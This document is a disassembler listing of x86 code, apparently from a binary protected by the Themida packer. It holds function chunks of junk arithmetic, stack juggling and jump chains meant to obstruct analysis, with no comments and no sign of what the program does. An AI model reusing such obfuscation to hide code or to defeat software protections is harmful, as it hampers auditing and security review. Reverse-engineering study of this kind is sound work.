loc_56079A:				; CODE XREF: sub_562ABA+7395j
		add	esp, 4
		push	[esp+36h+var_36]
		pop	eax
		push	4A86h
		mov	[esp+3Ah+var_3A], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_567C82
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56112E


loc_5607C8:				; CODE XREF: sub_56112E+1Dj
		push	eax
		mov	eax, 1464518Ah
		add	edi, eax
		pop	eax
		pop	edx
		push	4066h
		mov	[esp+0], esi
		push	2
		pop	esi
		add	edi, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	7308h
		mov	[esp+0], edi
		jmp	loc_56131C
; END OF FUNCTION CHUNK	FOR sub_56112E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5607F5:				; CODE XREF: sub_562ABA+59B6j
		sub	ecx, 14DC1BA5h
		shr	ecx, 5
		jmp	loc_571BF1
; ---------------------------------------------------------------------------


loc_560803:				; CODE XREF: sub_562ABA-AA4j
		sub	eax, 5485712Fh
		add	eax, ecx
		add	eax, 5485712Fh
		add	eax, 6773271Ch
		mov	ecx, [esp+3Ah+var_3A]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_568EC0
; ---------------------------------------------------------------------------


loc_560821:				; CODE XREF: sub_562ABA+36F9j
		xchg	ebx, edi
		shl	edi, 5
		push	20FDh
		jmp	loc_56E598
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_56E5D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560836:				; CODE XREF: sub_562ABA+FA26j
		push	1AF7h
		mov	[esp+3Eh+var_3E], edi
		push	esp
		mov	edi, [esp+42h+var_42]
		add	esp, 4
		jmp	loc_55FFC2
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	1B3Ch
		push	esp
		jmp	loc_56C22F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56085F:				; CODE XREF: sub_562ABA+BE8Aj
		push	73FBh
		mov	[esp+42h+var_42], ecx
		mov	ch, 8Dh
		and	ch, 24h
		inc	ch
		dec	ch
		jmp	loc_57248C
; ---------------------------------------------------------------------------


loc_560875:				; CODE XREF: sub_562ABA+8EFFj
		mov	esi, ebx
		jmp	loc_563B1C
; ---------------------------------------------------------------------------


loc_56087C:				; CODE XREF: sub_562ABA+9023j
		mov	ebx, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56F36A
; ---------------------------------------------------------------------------


loc_56088F:				; CODE XREF: sub_562ABA+3D1Fj
		xor	edi, 893771Ch
		not	edi
		add	edi, 513F5C31h
		neg	edi
		sub	edi, 61113B94h
		jmp	loc_571B04
; ---------------------------------------------------------------------------


loc_5608AA:				; CODE XREF: sub_562ABA+A015j
		inc	ebp
		sub	ebp, 0F94C0FD4h
		mov	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 3B580CECh
		not	ecx
		dec	ecx
		not	ecx
		add	ecx, 0D426535Ah
		jmp	loc_55F93B
; ---------------------------------------------------------------------------


loc_5608CA:				; CODE XREF: sub_562ABA+34E3j
		mov	ecx, [esp+46h+var_46]
		add	esp, 4
		mov	esi, edx
		mov	edx, [esp+42h+var_42]
		jmp	loc_560DE2
; ---------------------------------------------------------------------------


loc_5608DD:				; CODE XREF: sub_562ABA+BE72j
		mov	[esp+42h+var_42], eax
		jmp	loc_560F95
; ---------------------------------------------------------------------------


loc_5608E5:				; CODE XREF: sub_562ABA+B6B6j
		pop	ecx
		add	esp, 4
		push	6885h
		mov	[esp+3Eh+var_3E], esi
		mov	esi, esp
		jmp	loc_56F6B7
; ---------------------------------------------------------------------------


loc_5608FB:				; CODE XREF: sub_562ABA+C39Cj
		pop	ebx
		pop	[esp+3Ah+var_3A]
		pop	esp
		jmp	loc_56A91D
; ---------------------------------------------------------------------------


loc_560905:				; CODE XREF: sub_562ABA+536Dj
		shl	edi, 7
		inc	edi
		shr	edi, 1
		add	edi, 0B8F7E1AEh
		jmp	loc_56BEA2
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_569D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560920:				; CODE XREF: sub_562ABA+9CFCj
		add	eax, 4
		push	5034h
		mov	[esp+36h+var_36], ebx
		push	2
		mov	ebx, [esp+3Ah+var_3A]
		add	esp, 4
		add	eax, 1B8F46DCh
		add	eax, ebx
		sub	eax, 1B8F46DCh
		push	[esp+36h+var_36]
		pop	ebx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edx
		jmp	loc_56EF95
; ---------------------------------------------------------------------------


loc_560956:				; CODE XREF: sub_562ABA+D8EEj
		xchg	edi, edx
		not	edi
		jmp	loc_572022
; ---------------------------------------------------------------------------


loc_56095F:				; CODE XREF: sub_562ABA+CEFAj
		push	esi
		push	eax
		push	773948DCh
		pop	eax
		add	eax, 320CE250h
		jmp	loc_55EDB5
; ---------------------------------------------------------------------------


loc_560971:				; CODE XREF: sub_562ABA-2124j
		add	edx, 1F4A5D60h
		add	edx, 17F47C86h
		jmp	loc_5707E4
; ---------------------------------------------------------------------------


loc_560982:				; CODE XREF: sub_562ABA-43D5j
		pop	eax
		push	edx
		push	esi
		mov	esi, 50944023h
		shr	esi, 5
		sub	esi, 0A11C7CE6h
		mov	edx, esi
		pop	esi
		jmp	loc_560971
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56099B	proc near		; CODE XREF: sub_562ABA+B061j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_5652F2
sub_56099B	endp

; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_56FFD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5609AD:				; CODE XREF: sub_562ABA+BB55j
		mov	esp, [esp+22h+var_22]
		jmp	loc_566748
; ---------------------------------------------------------------------------


loc_5609B5:				; CODE XREF: sub_562ABA-10BFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_56462F
; ---------------------------------------------------------------------------


loc_5609CE:				; CODE XREF: sub_562ABA+1A2Ej
		shr	eax, 2
		jmp	loc_55E350
; ---------------------------------------------------------------------------


loc_5609D6:				; CODE XREF: sub_562ABA+C2F4j
		push	esi
		mov	esi, 0DF22403h
		sub	edx, esi
		jmp	loc_56061B
; ---------------------------------------------------------------------------


loc_5609E3:				; CODE XREF: sub_562ABA+4CD7j
		sub	edx, esi
		pop	esi
		jmp	loc_569D0F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	si
		push	small word ptr [esp+2]
		mov	si, [esp]
		add	esp, 2
		jmp	loc_571F73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560A01:				; CODE XREF: sub_562ABA-45FCj
		add	esp, 4
		pop	[esp+1Eh+var_1E]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_566937
; ---------------------------------------------------------------------------


loc_560A0F:				; CODE XREF: sub_562ABA-18C6j
		push	esi
		pop	eax
		pop	esi
		pop	ebx
		push	edx
		push	ebp
		push	56111D31h
		pop	ebp
		or	ebp, 9222046h
		sub	ebp, 5F333D53h
		jmp	loc_570C4C
; ---------------------------------------------------------------------------


loc_560A2C:				; CODE XREF: sub_562ABA+90FBj
		mov	ebx, 2256463Fh
		shr	ebx, 5
		not	ebx
		add	ebx, 3EC85BBAh
		not	ebx
		xor	ebx, 0C24A5673h
		mov	ebp, ebx
		pop	ebx
		add	eax, 363D0BE5h
		add	eax, ebp
		jmp	loc_55FE92
; ---------------------------------------------------------------------------


loc_560A53:				; CODE XREF: sub_562ABA+B07Ej
		sub	ecx, 65813B69h
		add	ecx, ebx
		add	ecx, 65813B69h
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_56744C
; ---------------------------------------------------------------------------


loc_560A72:				; CODE XREF: sub_562ABA+B33Fj
		sub	eax, 4C356CB5h
		shr	eax, 6
		add	eax, 0FCBFEC52h
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp+16h+var_16], ebp
		push	[esp+16h+var_12]
		pop	ebp
		jmp	loc_568E0B
; ---------------------------------------------------------------------------


loc_560A92:				; CODE XREF: sub_562ABA+9F61j
		push	eax
		jmp	loc_56E39D
; ---------------------------------------------------------------------------


loc_560A98:				; CODE XREF: sub_562ABA+8137j
		add	esp, 4
		jmp	loc_56CC0D
; ---------------------------------------------------------------------------


loc_560AA0:				; CODE XREF: sub_562ABA+1FB3j
		xor	edi, eax
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		add	ebp, 5CD1629Ch
		sub	ebp, 1CAA12AAh
		add	ebp, edi
		add	ebp, 1CAA12AAh
		sub	ebp, 5CD1629Ch
		pop	edi
		and	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5713F1
; ---------------------------------------------------------------------------


loc_560ADA:				; CODE XREF: sub_562ABA+2FC0j
		add	esp, 4
		add	[esp+0Eh+var_C+2], ebp
		pop	ebp
		jmp	loc_56B20F
; ---------------------------------------------------------------------------


loc_560AE7:				; CODE XREF: sub_562ABA+9B01j
		sub	ebx, 5F7927B8h
		push	eax
		mov	eax, 19C122F2h
		or	eax, 6F7D5BA1h
		and	eax, 60684B48h
		sub	eax, 7F7A58C8h
		add	eax, 82AE1378h
		add	ebx, 7964599Dh
		add	ebx, eax
		sub	ebx, 7964599Dh
		mov	eax, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, 5E1074Ah
		shr	esi, 7
		neg	esi
		jmp	loc_56C929
; ---------------------------------------------------------------------------


loc_560B2E:				; CODE XREF: sub_562ABA+DD14j
		add	eax, ebx
		pop	ebx
		add	ecx, 691336DDh
		sub	ecx, eax
		sub	ecx, 691336DDh
		push	[esp+0Ah+var_C+2]
		pop	eax
		jmp	loc_563EEF
; ---------------------------------------------------------------------------


loc_560B48:				; CODE XREF: sub_562ABA-1421j
		mov	esp, [esp+0Ah+var_C+2]
		imul	cx, ax
		jmp	loc_561BC5
; ---------------------------------------------------------------------------


loc_560B54:				; CODE XREF: sub_562ABA+FFj
		pop	eax
		add	bl, 4Ch
		push	small 6F77h
		mov	word ptr [esp+8+var_8],	ax
		mov	ah, 0ADh
		jmp	loc_5694D3
; ---------------------------------------------------------------------------


loc_560B67:				; CODE XREF: sub_562ABA+AF96j
		add	eax, 1E180FA7h
		and	edx, eax
		pop	eax
		inc	edx
		add	edx, 373A2BDDh
		sub	edx, 17434386h
		sub	edi, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		mov	eax, edi
		pop	edi
		add	ebx, eax
		pop	eax
		push	ebx
		push	[esp-4+arg_4]
		pop	ebx
		pop	[esp-4+arg_0]
		pop	esp
		shl	word ptr [esp-0Ch+arg_8], cl
		pushf
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_560BA1	proc near		; CODE XREF: sub_562ABA+547Fj
		push	ebp
		mov	ebp, 31A6641Bh
		not	ebp
		shr	ebp, 6
		xor	ebp, 75876213h
		add	ebp, 0B1A9DDBFh
		push	edx
		push	ebp
		jmp	loc_563431
sub_560BA1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560BBF:				; CODE XREF: sub_562ABA+58DFj
		mov	eax, 30835413h
		add	[esp-8+arg_8], eax
		mov	eax, [esp-8+arg_4]
		push	3B89h
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		jmp	loc_55FB67
; ---------------------------------------------------------------------------


loc_560BDA:				; CODE XREF: sub_562ABA+6CEAj
		push	edi
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 7B017B95h
		not	ebp
		push	esi
		mov	esi, 35B51A6Dh
		inc	esi
		inc	esi
		inc	esi
		jmp	loc_56B0B7
; ---------------------------------------------------------------------------


loc_560BF6:				; CODE XREF: sub_562ABA+4DA6j
		pop	esp
		mov	[esp+4+var_4], eax
		jmp	loc_562C90
; ---------------------------------------------------------------------------


loc_560BFF:				; CODE XREF: sub_562ABA+97D0j
		mov	ah, 0BBh
		shr	ah, 7
		sub	ah, 0BCh
		xor	ah, 0C4h
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	dl, ah
		mov	bh, dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		mov	eax, [esp+4+var_4]
		jmp	loc_56C181
; ---------------------------------------------------------------------------


loc_560C25:				; CODE XREF: sub_562ABA+B2E0j
		mov	cl, al
		mov	bh, cl
		pop	ecx
		mov	dl, bh
		pop	ebx
		pop	eax
		sub	al, dl
		pop	edx
		add	al, 0DCh
		jmp	loc_569BBD
; ---------------------------------------------------------------------------


loc_560C38:				; CODE XREF: sub_562ABA-47EDj
		sub	ebp, 54032D5h
		add	ebp, 0EE06E162h
		add	eax, ebp
		pop	ebp
		push	6187h
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	ebx
		mov	ebx, 4175636Dh
		mov	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_564765
; ---------------------------------------------------------------------------


loc_560C67:				; CODE XREF: sub_562ABA+AC90j
		push	[esp+6+var_8+2]
		pop	edi
		push	540h
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_55FBF6
; ---------------------------------------------------------------------------


loc_560C78:				; CODE XREF: sub_562ABA-4797j
		add	esi, 4F5F0208h
		add	esi, edi
		push	ebx
		mov	ebx, 1BC62CD6h
		jmp	loc_56FDB9
; ---------------------------------------------------------------------------


loc_560C8B:				; CODE XREF: sub_562ABA+ABF0j
		and	ecx, 17851A02h
		sub	ecx, 13E0412h
		xor	edx, ecx
		jmp	loc_569D6D
; ---------------------------------------------------------------------------


loc_560C9E:				; CODE XREF: sub_562ABA+F2D0j
		add	dword ptr [esp+0], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_561A13
; ---------------------------------------------------------------------------


loc_560CB0:				; CODE XREF: sub_562ABA+4B53j
		xor	ebp, 4
		add	edx, 4B536035h
		jmp	loc_567ED9
; ---------------------------------------------------------------------------


loc_560CC1:				; CODE XREF: sub_562ABA+A09Dj
		add	esp, 4
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jnz	loc_55FDF3
		push	4332h
		jmp	loc_572B4B
; ---------------------------------------------------------------------------


loc_560CD9:				; CODE XREF: sub_562ABA+31j
		sub	ebp, 68A637B6h
		add	ebp, ebx
		push	ecx
		mov	ecx, 5EE73D28h
		xor	ecx, 36410A9Eh
		jmp	loc_56F542
; ---------------------------------------------------------------------------


loc_560CF2:				; CODE XREF: sub_562ABA+697Bj
		add	edi, 21905C6Dh
		add	edi, ecx
		sub	edi, 21905C6Dh
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		xchg	edi, [esp-0Ah+arg_4+2]
		jmp	loc_570808
; ---------------------------------------------------------------------------


loc_560D11:				; CODE XREF: sub_562ABA+E637j
		pop	esp
		push	4307h
		mov	[esp-0Ah+arg_4+2], edx
		jmp	loc_56696B
; ---------------------------------------------------------------------------


loc_560D1F:				; CODE XREF: sub_562ABA+BAE8j
		mov	ebx, [esp-0Ah+arg_4+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-6+arg_0+2]
		jmp	loc_56BF0A
; ---------------------------------------------------------------------------


loc_560D39:				; CODE XREF: sub_562ABA-2F2Bj
		pop	ebx
		sub	esp, 4
		jmp	loc_561C6D
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_560D42:				; DATA XREF: Themida_:0055DFA8o
		push	edx
		jmp	loc_563F66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560D48:				; CODE XREF: sub_562ABA-25C1j
		add	eax, edx
		jmp	loc_56335B
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3A25h
		jmp	loc_56CB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560D5D:				; CODE XREF: sub_562ABA+126Bj
		sub	edi, esi
		add	edi, 4FA625E3h
		jmp	loc_5640F8
; ---------------------------------------------------------------------------


loc_560D6A:				; CODE XREF: sub_562ABA+395j
		xor	ebp, 0A896A85h
		jmp	loc_560DD5
; ---------------------------------------------------------------------------


loc_560D75:				; CODE XREF: sub_562ABA+ECD7j
		mov	[esp+2Ah+var_2C+2], esp
		jmp	loc_55E746
; ---------------------------------------------------------------------------


loc_560D7D:				; CODE XREF: sub_562ABA+501Aj
		push	[esp+2Ah+var_2C+2]
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_564CEE
; ---------------------------------------------------------------------------


loc_560D89:				; CODE XREF: sub_562ABA+D4F7j
		sub	ebp, 339D6AC6h
		jmp	loc_56CC52
; ---------------------------------------------------------------------------


loc_560D94:				; CODE XREF: sub_562ABA+9936j
		pop	ebx
		push	3F80h
		mov	[esp+32h+var_32], esi
		mov	esi, 560C2CB4h
		dec	esi
		jmp	loc_55FB21
; ---------------------------------------------------------------------------


loc_560DA8:				; CODE XREF: sub_562ABA-39AAj
		add	eax, 4
		jmp	loc_56BD71
; ---------------------------------------------------------------------------


loc_560DB0:				; CODE XREF: sub_562ABA+DD0Aj
		add	eax, edx
		pop	edx
		jmp	loc_5658A3
; ---------------------------------------------------------------------------


loc_560DB8:				; CODE XREF: sub_562ABA+48AFj
		add	esi, ebx
		add	esi, 62590B81h
		jmp	loc_56BB94
; ---------------------------------------------------------------------------


loc_560DC5:				; CODE XREF: sub_562ABA+1EDFj
		sub	edi, esi
		mov	esi, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_55F63A
; ---------------------------------------------------------------------------


loc_560DD5:				; CODE XREF: sub_562ABA-1D4Aj
		add	ebp, 0BD676ECh
		mov	ebx, ebp
		jmp	loc_564627
; ---------------------------------------------------------------------------


loc_560DE2:				; CODE XREF: sub_562ABA-21E2j
		add	esp, 4
		inc	esi
		not	esi
		inc	esi
		inc	esi
		sub	esi, 0FFFFFFFFh
		add	esi, 0D2273962h
		xor	eax, esi
		push	[esp+3Eh+var_3E]
		mov	esi, [esp+42h+var_42]
		jmp	loc_56259B
; ---------------------------------------------------------------------------


loc_560E06:				; CODE XREF: sub_562ABA+B5F6j
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_55FB15
; ---------------------------------------------------------------------------


loc_560E0E:				; CODE XREF: sub_562ABA+313Aj
		pop	edx
		sub	bl, 38h
		jmp	loc_56F428
; ---------------------------------------------------------------------------


loc_560E17:				; CODE XREF: sub_562ABA+1EA0j
		push	3A7Fh
		mov	[esp+46h+var_46], edx
		jmp	loc_562D43
; ---------------------------------------------------------------------------


loc_560E24:				; CODE XREF: sub_562ABA+2EFCj
		xor	ch, 91h
		and	ch, 0EDh
		jmp	loc_569000
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_560E2F:				; CODE XREF: sub_55FCA5+2F6j
		sub	dl, 0A4h
		sub	dl, cl
		add	dl, 0A4h
		jmp	loc_56B7E8
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560E3C:				; CODE XREF: sub_562ABA+EBCEj
		shr	edx, 2
		jmp	loc_564849
; ---------------------------------------------------------------------------


loc_560E44:				; CODE XREF: sub_562ABA+239j
		mov	cl, 0D4h
		add	cl, 51h
		not	cl
		sub	cl, 31h
		add	al, cl
		pop	ecx
		add	al, ch
		push	dx
		push	ecx
		mov	cl, 1Ch
		jmp	loc_55F620
; ---------------------------------------------------------------------------


loc_560E5D:				; CODE XREF: sub_562ABA+E2B5j
		mov	edi, 786B3EDFh
		jmp	loc_565201
; ---------------------------------------------------------------------------


loc_560E67:				; CODE XREF: sub_562ABA+93C4j
		mov	[esp+48h+var_4A+2], ecx
		mov	ecx, 5D8B2C74h
		jmp	loc_55F6DB
; ---------------------------------------------------------------------------


loc_560E74:				; CODE XREF: sub_562ABA+6A06j
		add	ecx, 0A3D28F1Ah
		add	ebp, 397D0B14h
		add	ebp, ecx
		jmp	loc_563AE9
; ---------------------------------------------------------------------------


loc_560E87:				; CODE XREF: sub_562ABA+6193j
		add	edx, 0FC1390Dh
		add	ebx, edx
		pop	edx
		add	ebx, eax
		sub	ebx, 2F5D593Dh
		jmp	loc_55EA2E
; ---------------------------------------------------------------------------


loc_560E9D:				; CODE XREF: sub_562ABA+F91Fj
		mov	ecx, 775D0D0Bh
		add	edx, ecx
		pop	ecx
		sub	edx, 76B36C46h
		jmp	loc_5706A8
; ---------------------------------------------------------------------------


loc_560EB0:				; CODE XREF: sub_562ABA+5B47j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_571012
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_560EC1	proc near		; CODE XREF: sub_562ABA-13F5j
		push	ebx
		jmp	loc_5713A8
sub_560EC1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560EC7:				; CODE XREF: sub_562ABA+273Bj
		push	esi
		mov	esi, 3F30722Bh
		jmp	loc_56B36E
; ---------------------------------------------------------------------------


loc_560ED2:				; CODE XREF: sub_562ABA+31E6j
		mov	ebp, 2B03BDDh
		add	ebp, 8F9E9A3h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56776A
; ---------------------------------------------------------------------------


loc_560EE5:				; CODE XREF: sub_562ABA+61A7j
		push	edx
		mov	edx, 4CAA7BF5h
		shr	edx, 4
		xor	edx, 3C8D53EFh
		inc	edx
		sub	edx, 3847F452h
		mov	eax, edx
		pop	edx
		sub	esi, 4E8F3609h
		sub	esi, eax
		add	esi, 4E8F3609h
		jmp	loc_567E07
; ---------------------------------------------------------------------------


loc_560F11:				; CODE XREF: sub_562ABA+3065j
		mov	esi, esp
		push	1F71h
		mov	[esp+48h+var_4A+2], edi
		jmp	loc_565662
; ---------------------------------------------------------------------------


loc_560F20:				; CODE XREF: sub_562ABA+E204j
		xor	ebx, [esp+48h+var_4A+2]
		jmp	loc_57250D
; ---------------------------------------------------------------------------


loc_560F28:				; CODE XREF: sub_562ABA+86B7j
		dec	ebx
		sub	ebx, 38035B66h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_563BFB
; ---------------------------------------------------------------------------


loc_560F3A:				; CODE XREF: sub_562ABA+544Aj
		pop	eax
		sub	eax, 10D2297Dh
		push	ecx
		push	2778h
		mov	[esp+48h+var_4A+2], ebx
		jmp	loc_566DDD
; ---------------------------------------------------------------------------


loc_560F4E:				; CODE XREF: sub_562ABA+9045j
		mov	ebp, 57232623h
		jmp	loc_56AE73
; ---------------------------------------------------------------------------


loc_560F58:				; CODE XREF: sub_562ABA-26FEj
		xchg	ebx, esi
		not	ebx
		jmp	loc_563809
; ---------------------------------------------------------------------------


loc_560F61:				; CODE XREF: sub_562ABA+44D5j
		add	esp, 4
		jmp	loc_568C97
; ---------------------------------------------------------------------------


loc_560F6C:				; CODE XREF: sub_562ABA+9C68j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		jmp	loc_5713DB
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_560F80	proc near		; CODE XREF: sub_562ABA+2E70j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		jmp	loc_5645E3
sub_560F80	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560F8D:				; CODE XREF: sub_562ABA+9CF2j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56B15C
; ---------------------------------------------------------------------------


loc_560F95:				; CODE XREF: sub_562ABA-21DAj
		mov	eax, 27582F28h
		sub	eax, 0CF4A1050h
		jmp	loc_56A4FE
; ---------------------------------------------------------------------------


loc_560FA4:				; CODE XREF: sub_562ABA-1B3j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5636A8
; ---------------------------------------------------------------------------


loc_560FB2:				; CODE XREF: sub_562ABA+A9D9j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_560FB7:				; CODE XREF: sub_562ABA-2EDBj
		pop	ebp
		add	edx, 323D23D3h
		add	edx, eax
		sub	edx, 323D23D3h
		pop	eax
		push	edx
		jmp	loc_564150
; ---------------------------------------------------------------------------


loc_560FCD:				; CODE XREF: sub_562ABA-3155j
		push	esp
		pop	esi
		push	edi
		mov	edi, 3A7C279Ch
		neg	edi
		shl	edi, 3
		or	edi, 77F143ADh
		jmp	loc_567E39
; ---------------------------------------------------------------------------


loc_560FE5:				; CODE XREF: sub_562ABA+71DAj
		push	edi
		push	20DA2694h
		pop	edi
		add	edi, 646562Bh
		add	edi, 20E0E2D5h
		push	edi
		jmp	loc_55E7E4
; ---------------------------------------------------------------------------


loc_560FFE:				; CODE XREF: sub_562ABA-1033j
		add	edi, 42591528h
		jmp	loc_5600A7
; ---------------------------------------------------------------------------


loc_561009:				; CODE XREF: sub_562ABA+BD28j
		mov	dl, bh
		jmp	loc_566CA2
; ---------------------------------------------------------------------------


loc_561010:				; CODE XREF: sub_562ABA+3308j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+1Ah+var_1A]
		pop	esp
		mov	ebp, [esp+16h+var_16]
		add	esp, 4
		push	esi
		mov	esi, 9D91E5Dh
		neg	esi
		not	esi
		jmp	loc_568FD8
; ---------------------------------------------------------------------------


loc_561038:				; CODE XREF: sub_562ABA+77A3j
		pop	[esp+16h+var_16]
		add	[esp+12h+var_12], 4
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55E6A4
; ---------------------------------------------------------------------------


loc_561056:				; CODE XREF: sub_562ABA+5835j
		mov	eax, 4
		add	[esp+0Eh+var_C+2], eax
		jmp	loc_55E8B0
; ---------------------------------------------------------------------------


loc_561064:				; CODE XREF: sub_562ABA+D547j
		mov	[esp+0], ebx
		jmp	loc_5642B5
; ---------------------------------------------------------------------------


loc_56106C:				; CODE XREF: sub_562ABA+3F10j
		add	esp, 4
		jmp	loc_56A26D
; ---------------------------------------------------------------------------


loc_561074:				; CODE XREF: sub_562ABA+B5AAj
		dec	ecx
		not	ecx
		jmp	loc_561282
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: sub_562ABA-3A23j
		add	esp, 4
		xor	edx, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], edx
		jmp	loc_562240
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_56108A:				; CODE XREF: Themida_:00561F83j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	5162h
		mov	[esp], esi
		mov	esi, 6C6D6182h
		shl	esi, 1
		shl	esi, 5
		push	ebp
		mov	ebp, 32F14414h
		jmp	loc_572A44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5610B3:				; CODE XREF: sub_562ABA+4F29j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Ah+var_2C+2]
		pop	esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		push	edi
		mov	edi, 0D2C6D1Fh
		sub	esi, edi
		pop	edi
		add	esi, ecx
		add	esi, 0D2C6D1Fh
		jmp	loc_56A0A1
; ---------------------------------------------------------------------------


loc_5610E2:				; CODE XREF: sub_562ABA+192Cj
		add	[esp+2Ah+var_2C+2], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], esi
		xor	esi, [esp+26h+var_28+2]
		pop	esp
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	1630h
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_56F4BE
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56112E	proc near		; CODE XREF: sub_562ABA+8F81j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005607C8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056131C SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 344484Ah
		sub	edi, ebp
		pop	ebp
		add	edi, 2A1F705Ah
		add	edi, edx
		sub	edi, 2A1F705Ah
		add	edi, 344484Ah
		jmp	loc_5607C8
sub_56112E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


